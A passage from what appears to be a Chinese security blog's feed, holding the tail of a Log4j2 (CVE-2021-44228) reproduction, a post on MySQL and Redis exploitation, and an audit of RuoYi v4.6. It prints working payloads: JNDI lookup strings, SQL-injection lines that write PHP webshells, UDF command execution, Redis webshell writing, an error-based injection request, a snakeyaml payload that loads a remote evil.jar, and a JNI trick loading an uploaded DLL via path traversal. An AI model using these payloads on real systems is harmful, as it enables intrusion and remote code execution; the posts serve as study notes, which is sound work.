class="name">console</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">appenders</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">loggers</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">root</span> <span class="attr">level</span>=<span class="string">&quot;error&quot;</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">appender-ref</span> <span class="attr">ref</span>=<span class="string">&quot;CONSOLE-APPENDER&quot;</span>/&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">root</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">loggers</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br></pre></td></tr></table></figure><p>必须手动添加lookups有关的appender 才能打</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514162130304.png" alt="image-20260514162130304"></p><p>此时lookups有内容了 为lookups</p><p>我们继续跟到format方法</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514162229878.png" alt="image-20260514162229878"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514162420152.png" alt="image-20260514162420152"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514162432552.png" alt="image-20260514162432552"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514162442966.png" alt="image-20260514162442966"></p><p>来到老位置</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514162522099.png" alt="image-20260514162522099"></p><p>进入jndiManager.lookup()</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514171307759.png" alt="image-20260514171307759"></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514163001742.png" alt="image-20260514163001742"></p><p>首先来对比一下版本差异 上个版本就很简单 直接就调用lookup了</p><p>2.15.0 在lookup上也做了一下限制</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514171323445.png" alt="image-20260514171323445"></p><p>要经过上面所有判断之后 最后才打出来</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514171528481.png" alt="image-20260514171528481"></p><p>注意这里的判断 会判断javaFactory是否存在 在构建fakeldap的时候 javaFactory这个是必要的 如果这里给拦截了 就没法打jndi了 </p><p>fakeldap和fakermi 本质都是利用jndi中的一个Reference对象来打的 伪造Reference对象 构造的时候 url javaClassName javaFactory都是必须要有的参数</p><p>ClassName就是Reference对象指向的一个类 javaFactory是实际需要去加载的类 因为只能加载这个工厂类 </p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514172827735.png" alt="image-20260514172827735"></p><p>所以这里在window上就不可能打出来的</p><hr><h3 id="mac与window的反汇编源码差异"><a href="#mac与window的反汇编源码差异" class="headerlink" title="mac与window的反汇编源码差异"></a>mac与window的反汇编源码差异</h3><p>来看看mac上面的源码</p><p>这个图片来自su18师傅的源码分析的一张图</p><p><a href="https://su18.org/post/log4j2">Log4j2：里程碑式的顶级供应链漏洞</a></p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514173002284.png" alt="image-20260514173002284"></p><p>虽然下面的判断都没看到 但是这里抛出异常的地方没有return</p><p>导致有机可乘 只要捕获到异常就可以绕过上面的检测 进入lookup里面了</p><p>在window平台反汇编出来的源码 这里捕获到的异常就会直接return出去了</p><p>这里就是师傅们所说的 为什么在window打不出来 <strong>因为反汇编出来的源码不一样</strong></p><hr><p>我们不管这些 看看如何才能被捕获到异常</p><p>URISyntaxException 只要我们的URI格式不规范就会被捕获到</p><h3 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ldap:<span class="comment">//127.0.0.1:4321/ Calc</span></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//exp</span></span><br><span class="line"><span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> <span class="string">&quot;$&#123;jndi:ldap://127.0.0.1:4321/ Calc&#125;&quot;</span>;</span><br><span class="line">logger.error(<span class="string">&quot;error &#123;&#125;&quot;</span>,username);</span><br></pre></td></tr></table></figure><h3 id="调试小结"><a href="#调试小结" class="headerlink" title="调试小结"></a>调试小结</h3><p>调试的时候一波三折</p><p>还是第一次见到反汇编出来的源码会是不同的情况</p><p>调试的时候还是要多试 不能只看别人的分析文章 得自己上手分析一波才能懂 </p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>总的来说还是version &lt;&#x3D; 2.14.1的版本才是最有危害的版本</p><p>默认配置即漏洞</p><p>version 2.16.0的commit中</p><p><img src="/2026/05/14/CVE-2021-44228-Log4j2%E5%A4%8D%E7%8E%B0/image-20260514180640590.png" alt="image-20260514180640590"></p><p>已经把lookups这个功能删去了</p><p>之后的版本就没有这个rce了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;CVE-2021-44228-Log4j2复现&quot;&gt;&lt;a href=&quot;#CVE-2021-44228-Log4j2复现&quot; class=&quot;headerlink&quot; title=&quot;CVE-2021-44228 Log4j2复现&quot;&gt;&lt;/a&gt;CVE-2021-44228 Lo</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="CVE" scheme="http://example.com/tags/CVE/"/>
    
  </entry>
  
  <entry>
    <title>数据库打法</title>
    <link href="http://example.com/2026/05/02/%E6%95%B0%E6%8D%AE%E5%BA%93%E6%89%93%E6%B3%95/"/>
    <id>http://example.com/2026/05/02/%E6%95%B0%E6%8D%AE%E5%BA%93%E6%89%93%E6%B3%95/</id>
    <published>2026-05-02T11:33:58.000Z</published>
    <updated>2026-05-25T10:58:49.066Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Mysql"><a href="#Mysql" class="headerlink" title="Mysql"></a>Mysql</h1><p>mysql是最为常见的一种关系型数据库</p><h2 id="日志写webshell"><a href="#日志写webshell" class="headerlink" title="日志写webshell"></a>日志写webshell</h2><p>可以执行mysql语句 </p><h3 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h3><ol><li>数据库用户有File权限 一般最好为root用户</li><li>secure_file_priv&#x3D;’’ 为空</li><li>服务器上存在web服务 并且web服务目录可写</li></ol><h3 id="利用过程"><a href="#利用过程" class="headerlink" title="利用过程"></a>利用过程</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">show</span> variables <span class="keyword">like</span> <span class="string">&#x27;%log&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">set</span> <span class="keyword">global</span> general_log_file <span class="operator">=</span> <span class="string">&#x27;/var/www/html/1.php&#x27;</span>;</span><br></pre></td></tr></table></figure><p>然后执行一个sql语句 然后即可访问webshell</p><h2 id="写webshell"><a href="#写webshell" class="headerlink" title="写webshell"></a>写webshell</h2><p>如果服务器下 有web服务且可以解析的话 可以尝试写webshell</p><h3 id="利用条件-1"><a href="#利用条件-1" class="headerlink" title="利用条件"></a>利用条件</h3><ol><li>数据库用户有File权限 一般最好为root用户</li><li>secure_file_priv&#x3D;’’ 为空</li><li>服务器上存在web服务 并且web服务目录可写</li></ol><h3 id="利用过程-1"><a href="#利用过程-1" class="headerlink" title="利用过程"></a>利用过程</h3><p>寻找sql注入点</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;  1&#x27;</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="string">&#x27;&lt;?php system($_POST[a]);?&gt;&#x27;</span> <span class="keyword">into</span> outfile <span class="string">&#x27;/var/www/html/1.php&#x27;</span><span class="operator">%</span><span class="number">23</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;  1&#x27;</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="string">&#x27;&lt;?php system($_POST[a]);?&gt;&#x27;</span> <span class="keyword">into</span> outdump <span class="string">&#x27;/var/www/html/1.php&#x27;</span><span class="operator">%</span><span class="number">23</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;  1&#x27;</span>  <span class="keyword">into</span>  outfile <span class="string">&#x27;/var/www/html/1.php&#x27;</span> lines terminated <span class="keyword">by</span> <span class="string">&#x27;&lt;?php system($_POST[a]);?&gt;&#x27;</span><span class="operator">%</span><span class="number">23</span> </span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;  1&#x27;</span>  <span class="keyword">into</span>  outfile <span class="string">&#x27;/var/www/html/1.php&#x27;</span> lines starting <span class="keyword">by</span> <span class="string">&#x27;&lt;?php system($_POST[a]);?&gt;&#x27;</span><span class="operator">%</span><span class="number">23</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;  1&#x27;</span> <span class="keyword">into</span> outfile <span class="string">&#x27;/var/www/html/1.php&#x27;</span> fields terminated <span class="keyword">by</span> <span class="string">&#x27;&lt;?php system($_POST[a]);?&gt;%23</span></span><br></pre></td></tr></table></figure><h2 id="udf提权-getshell"><a href="#udf提权-getshell" class="headerlink" title="udf提权&#x2F;getshell"></a>udf提权&#x2F;getshell</h2><p>mysql提供用户自定义函数的功能 用户可以上传<code>udf.so/udf.dll</code>到数据库插件的目录下 并创建函数</p><h3 id="利用条件-2"><a href="#利用条件-2" class="headerlink" title="利用条件"></a>利用条件</h3><ol><li>mysql版本大于5.1 需要将<code>udf.so/udf.dll</code>传入插件目录中 如果小于5.1 则需要放入<code>c\windows</code>目录或者<code>c:\windows\windows32</code></li><li>数据库用户必须有<code>insert</code>权限 一般最好为root用户</li><li>secure_file_priv&#x3D;’’ 为空</li><li>插件目录必须存在且可写</li></ol><h3 id="利用过程-2"><a href="#利用过程-2" class="headerlink" title="利用过程"></a>利用过程</h3><h4 id="查看mysql信息"><a href="#查看mysql信息" class="headerlink" title="查看mysql信息"></a>查看mysql信息</h4><p>要先确认mysql的基本信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">select version();#查看版本信息</span><br><span class="line">select user();#查看用户</span><br><span class="line">show grants;#查看用户权限</span><br><span class="line">show variables like &#x27;%plugin%&#x27;;#查看插件目录</span><br></pre></td></tr></table></figure><h4 id="注入链接文件"><a href="#注入链接文件" class="headerlink" title="注入链接文件"></a>注入链接文件</h4><p>写入的链接文件32位&#x2F;64位 必须和当前数据库的位数相同 </p><p>不然可能会报错</p><p><img src="E:\blog_back\source_posts\数据库打法\image-20260516200416777.png" alt="image-20260516200416777"></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> <span class="string">&#x27;大量hex&#x27;</span> <span class="keyword">into</span> outdump <span class="string">&#x27;插件目录&#x27;</span>;</span><br></pre></td></tr></table></figure><p>具体的链接文件请看这里</p><p><a href="/2025/11/16/%E6%9D%82%E9%A1%B9#udf%E6%8F%90%E6%9D%83%E4%BD%BF%E7%94%A8%E7%9A%84%E9%93%BE%E6%8E%A5%E6%96%87%E4%BB%B6">udf提权使用的链接文件</a></p><h4 id="创建函数"><a href="#创建函数" class="headerlink" title="创建函数"></a>创建函数</h4><p>当成功注入链接文件到插件目录中之后 就可以创建函数了 （命名一定要是这个函数名）</p><p>这个udf链接文件应该是很古老的东西了（）</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">create</span> <span class="keyword">function</span> sys_eval <span class="keyword">returns</span> string soname <span class="string">&#x27;udf.dll&#x27;</span>;</span><br></pre></td></tr></table></figure><p>创建成功之后就可以正常使用了</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> sys_eval(<span class="string">&#x27;whoami&#x27;</span>);</span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\数据库打法\image-20260516200112721.png" alt="image-20260516200112721"></p><p>可以看到是系统用户 也可以注入一个可以反弹shell的链接文件 直接getshell</p><hr><p>不能登录的情况且可以上传php的webshell的时候</p><p>就可以直接上传一个工具 方便利用</p><p><a href="/2025/11/16/%E6%9D%82%E9%A1%B9#udf%E6%8F%90%E6%9D%83%E6%97%B6%E4%BD%BF%E7%94%A8%E7%9A%84phpwebshell">udf提权时使用的phpwebshell</a></p><p>这些工具应该都是历史久远的产物了 ）</p><h1 id="Redis"><a href="#Redis" class="headerlink" title="Redis"></a>Redis</h1><p>redis 远程字典服务 是一种<strong>内存数据结构存储系统</strong> 常用作高性能数据库、缓存和消息中间件 </p><p><strong>其实redis的打法都在利用任意文件写去实现的</strong> </p><h2 id="写webshell-1"><a href="#写webshell-1" class="headerlink" title="写webshell"></a>写webshell</h2><h3 id="利用条件-3"><a href="#利用条件-3" class="headerlink" title="利用条件"></a>利用条件</h3><ol><li>当前有web服务 并且可写 还得知道web服务端绝对路径</li><li>可以登录redis或者未授权登录redis</li></ol><h3 id="利用过程-3"><a href="#利用过程-3" class="headerlink" title="利用过程"></a>利用过程</h3><p>设置配置文件路径 将日志名称改成.php</p><p>随便设置一个key-value 要有webshell</p><p>最后save</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">config set dir &#x27;/var/www/html&#x27;</span><br><span class="line">config set dbfilename &#x27;shell.php&#x27;</span><br><span class="line">set a &#x27;&lt;?php system($_GET[a]);?&gt;&#x27;</span><br><span class="line">save</span><br></pre></td></tr></table></figure><p><img src="E:\blog_back\source_posts\数据库打法\image-20260517154320861.png" alt="image-20260517154320861"></p><p><img src="E:\blog_back\source_posts\数据库打法\image-20260517154421198.png" alt="image-20260517154421198"></p><p>成功写入webshell 且可以正常执行</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">flushall #清除所有数据库</span><br><span class="line">flushdb #清除当前数据库</span><br><span class="line">dbsize #查看当前数据库的数据大小</span><br></pre></td></tr></table></figure><h2 id="主从复制-Getshell"><a href="#主从复制-Getshell" class="headerlink" title="主从复制 Getshell"></a>主从复制 Getshell</h2><p>主从模式是redis提供的一种机制 </p><p>一个redis服务器为主服务器用来写数据  其他的作为从服务器用来存数据</p><p>可以读写分离 可以缓解当个服务器的压力</p><hr><p>主从复制就是主节点可以使用<strong>FULLRESYNC</strong> 将文件同步到其他的从节点上 </p><p>redis也提供了一种加载模块机制 可以加载我们的链接文件 从而自定义函数</p><p>我们伪造一个主节点并将这个恶意链接库同步到受害主机上</p><hr><h3 id="利用条件-4"><a href="#利用条件-4" class="headerlink" title="利用条件"></a>利用条件</h3><ol><li>redis版本为4.x 5.x</li><li>攻击机可以和受害主机互相连接</li><li>登录redis</li></ol><p>可以使用一键利用脚本</p><h2 id="写公钥"><a href="#写公钥" class="headerlink" title="写公钥"></a>写公钥</h2><h2 id="写定时任务"><a href="#写定时任务" class="headerlink" title="写定时任务"></a>写定时任务</h2>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Mysql&quot;&gt;&lt;a href=&quot;#Mysql&quot; class=&quot;headerlink&quot; title=&quot;Mysql&quot;&gt;&lt;/a&gt;Mysql&lt;/h1&gt;&lt;p&gt;mysql是最为常见的一种关系型数据库&lt;/p&gt;
&lt;h2 id=&quot;日志写webshell&quot;&gt;&lt;a href=&quot;#日志写</summary>
      
    
    
    
    <category term="漏洞学习" scheme="http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="漏洞学习" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/"/>
    
  </entry>
  
  <entry>
    <title>若依v4.6</title>
    <link href="http://example.com/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/"/>
    <id>http://example.com/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/</id>
    <published>2026-05-01T08:42:26.000Z</published>
    <updated>2026-05-15T12:40:15.556Z</updated>
    
    <content type="html"><![CDATA[<h2 id="若依v4-6"><a href="#若依v4-6" class="headerlink" title="若依v4.6"></a>若依v4.6</h2><p><a href="https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.0.zip">项目源码</a></p><h3 id="查看pom-xml依赖组件"><a href="#查看pom-xml依赖组件" class="headerlink" title="查看pom.xml依赖组件"></a>查看pom.xml依赖组件</h3><p>首先看一下pom.xml依赖组件</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502152605154.png" alt="image-20260502152605154"></p><p>fastjson 1.2.74版本有点高</p><p>还不是很会jackson 2.10.5</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502152737511.png" alt="image-20260502152737511"></p><p>多个链子可以打</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502152804542.png" alt="image-20260502152804542"></p><p>mysql 8.0.22 应该打不了</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502152852767.png" alt="image-20260502152852767"></p><p>Shiro版本为1.7.0</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502165944238.png"></p><p>thymeleaf version 3.0.11 做视图解析</p><p>snakeyaml version 1.25 解析yaml文件 </p><h3 id="登录部分"><a href="#登录部分" class="headerlink" title="登录部分"></a>登录部分</h3><p>定位到 <code>/login</code></p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260509145042438.png" alt="image-20260509145042438"></p><p>来到SysLoginController这里</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260509145145144.png" alt="image-20260509145145144"></p><p>获取前端输入的账号密码包装成token 获取subject对象 shiro里面指代的用户对象</p><p>携带token进入shiro的login方法 </p><p>整个流程就是shiro框架登录的流程 直接看看realms配置</p><hr><p>看看shiro配置类</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260509151007627.png" alt="image-20260509151007627"></p><p>一些静态资源不鉴权 其他的所有路径 <code>/**</code> 都会鉴权</p><p>查看UserRealms</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260509194433106.png" alt="image-20260509194433106"></p><p>如果登录上的用户是admin用户 那就有所有权限</p><p>如果不是的话就是普通用户 并且通过userid去唯一确定某个普通用户</p><p>功能点也是通过userid去分配</p><h3 id="shiro固定key"><a href="#shiro固定key" class="headerlink" title="shiro固定key"></a>shiro固定key</h3><p>看看有无shiro固定密钥</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502152952422.png" alt="image-20260502152952422"></p><p>在ruyi-admin&#x2F;src&#x2F;main&#x2F;resource&#x2F;application.yml中存在固定shirokey</p><p>使用工具尝试反序列化</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502153050234.png" alt="image-20260502153050234"></p><p>使用aes gcm模式尝试检测密钥 显示成功</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502153123087.png" alt="image-20260502153123087"></p><p>反序列化执行成功 </p><p>存在固定密钥</p><h4 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h4><p>不要使用固定key</p><h3 id="sql注入"><a href="#sql注入" class="headerlink" title="sql注入"></a>sql注入</h3><p>若依使用的是mybatis框架 我们直接全局搜索</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;</span><br></pre></td></tr></table></figure><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502160121115.png" alt="image-20260502160121115"></p><p>存在使用未预编译的参数</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502160155295.png" alt="image-20260502160155295"></p><p><strong>注意这里的参数在实际访问的形式应该是数组形式</strong></p><p><code>params[dataScope]</code></p><p>寻找Controller</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502160336880.png" alt="image-20260502160336880"></p><p>根据名字直接去网页上面找</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/system/user/list</span><br></pre></td></tr></table></figure><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502160437214.png" alt="image-20260502160437214"></p><p>点击用户管理 并抓包</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502160518895.png" alt="image-20260502160518895"></p><p>可以找到对应的路由与参数信息</p><p>默认是没有params[dataScope]</p><p>我们直接加上</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502160620304.png" alt="image-20260502160620304"></p><p>一个单引号直接报错了 存在报错注入</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pageSize=10&amp;pageNum=1&amp;orderByColumn=createTime&amp;isAsc=desc&amp;deptId=&amp;parentId=&amp;loginName=&amp;phonenumber=&amp;status=&amp;params%5BbeginTime%5D=&amp;params%5BendTime%5D=&amp;params[dataScope]=and(extractvalue(1,concat(0x23,version(),0x00)))%23</span><br></pre></td></tr></table></figure><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260502162102789.png" alt="image-20260502162102789"></p><p>成功执行报错注入</p><h4 id="修复建议-1"><a href="#修复建议-1" class="headerlink" title="修复建议"></a>修复建议</h4><p>在一定要使用<code>${</code>的地方一定要做好限制 加白加黑</p><h3 id="fastjson-暂时打不出来"><a href="#fastjson-暂时打不出来" class="headerlink" title="fastjson (暂时打不出来)"></a>fastjson (暂时打不出来)</h3><p>依赖包中存在fastjson 1.2.74版本有点高不好打</p><p>全局搜索</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">parseObject(</span><br></pre></td></tr></table></figure><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151115073.png" alt="image-20260503151115073"></p><p>有几个结果</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151155182.png" alt="image-20260503151155182"></p><p>第一个方法里面 被调用都是在匿名类中被调用 应该没法利用</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151254714.png" alt="image-20260503151254714"></p><p>这个方法有在一个Controller被调用了 应该可以利用</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151340104.png" alt="image-20260503151340104"></p><p><code>/tool/gen/edit</code>路由接收一个genTable参数</p><p>我们去网页上面找找</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151437431.png" alt="image-20260503151437431"></p><p>点击保存并抓包</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151520141.png" alt="image-20260503151520141"></p><p>有一堆参数 调试一下</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151556364.png" alt="image-20260503151556364"></p><p>第一个判断就寄了 是参数里面有个值不对</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151634091.png" alt="image-20260503151634091"></p><p>某个值要是tree </p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151650391.png" alt="image-20260503151650391"></p><p>继续调试</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151739532.png" alt="image-20260503151739532"></p><p>只获取了参数里面Params里面的值 尝试修改key打payload</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503152138726.png" alt="image-20260503152138726"></p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503151859093.png" alt="image-20260503151859093"></p><p>多次尝试 options里面的参数顺序总是val在前 @type在后 </p><p>发现这里的逻辑是先获取参数并先放到一个hashmap里面 然后再取里面的参数转为String之后拿去解析</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503152033603.png" alt="image-20260503152033603"></p><p><strong>hashmap是无序的 具体参数的顺序是根据key的hashcode</strong> 导致val总是在@type前面 至少是dnslog打不了</p><p>目前只能说 这里可能存在fastjson漏洞</p><p>这里利用也有点苛刻 一般都是可以直接接收json格式的数据 这里只能构造键值对去打</p><p>不知道有没有大佬这里利用出来了（）</p><h4 id="修复建议-2"><a href="#修复建议-2" class="headerlink" title="修复建议"></a>修复建议</h4><p>可以直接使用fastjson2 或者 开启safemode 又或者每次解析的时候都相对应的类</p><h3 id="定时任务rce"><a href="#定时任务rce" class="headerlink" title="定时任务rce"></a>定时任务rce</h3><p>若依后台有一个定时任务</p><p>定时任务大概率可能是通过反射调用 或者直接有什么接口可以输出代码执行</p><p>寻找有关定时任务的内容</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260503171529177.png" alt="image-20260503171529177"></p><p>不是有个装门搞定时任务的项目文件夹吗 </p><p>在这里面找到util工具包 里面有个定时任务执行的java文件</p><p>里面有invokeMethod方法 这里就是最后定时任务执行的地方</p><p>确实是反射调用</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260504152138821.png" alt="image-20260504152138821"></p><p>分别获取任务 bean名 方法名 参数值列表</p><p><img src="/2026/05/01/%E8%8B%A5%E4%BE%9Dv4-6/image-20260504152217672.png" alt="image-20260504152217672"></p><p>通过加载bean的class 并通过无参构造器去获得实例 最后执行方法</p><hr><p>这里其实就有点类似ctf题了 </p><p>什么类有无参构造器 并且内部有什么方法可以直接通过参数去命令执行</p><p>最后的调用形式可以简单写成</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">对象.方法(参数...)</span><br></pre></td></tr></table></figure><p>这里刚好是有snakeyaml的jar包 所以可以直接用Yaml.load()打反序列化</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">org.yaml.snakeyaml.Yaml.load(<span class="string">&#x27;!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [&quot;http://127.0.0.1:8888/evil.jar&quot;]]]]&#x27;</span>)</span><br></pre></td></tr></table></figure><hr><p>思考了一下 </p><p>首先想到3个可以直接命令执行的类</p><p>Runtime 是单例模式</p><p>ProcessBuilder  只能通过ProcessBuilder(cmd).start()的形式执行</p><p>ProcessImpl  没有无参构造器</p><p>之后又想了一下 可以直接打jndi 当然还得看jdk版本就是了</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javax.naming.InitialContext.lookup(<span class="string">&#x27;ldap://127.0.0.1:4321/Calc&#x27;</span>)</span><br></pre></td></tr></table></figure><h4 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h4><p>看到有一个师傅这里打jni 绕过高版本的若依在定时任务的限制</p><p><a href="http://www.bmth666.cn/2025/11/26/%E8%8B%A5%E4%BE%9DRuoYi-4-8-1-%E5%90%8E%E5%8F%B0RCE/">若依v4.8.1 rce</a></p><p>这里有一定权限的代码执行 可以打jni 本质是dll注入</p><p>基本思路是文件上传 然后修改文件名 加载恶意dll文件</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ch.qos.logback.core.rolling.helper.RenameUtil.renameByCopying(<span class="string">&#x27;D:\RuoYi\RuoYi-v4.8.1\uploadPath\upload\2026\5\7\1.txt,D:\RuoYi\RuoYi-v4.8.1\uploadPath\upload\2026\5\7\1.dll&#x27;</span>)</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">com.sun.glass.utils.NativeLibLoader.loadLibrary(<span class="string">&#x27;../../../../../../../../../../../RuoYi/RuoYi-v4.8.1/uploadPath/upload/2026/5/7/1&#x27;</span>)</span><br></pre></td></tr></table></figure><p>如果是oracle的jdk下面那个类就会有</p><h4 id="修复建议-3"><a href="#修复建议-3" class="headerlink" title="修复建议"></a>修复建议</h4><p>加白加黑 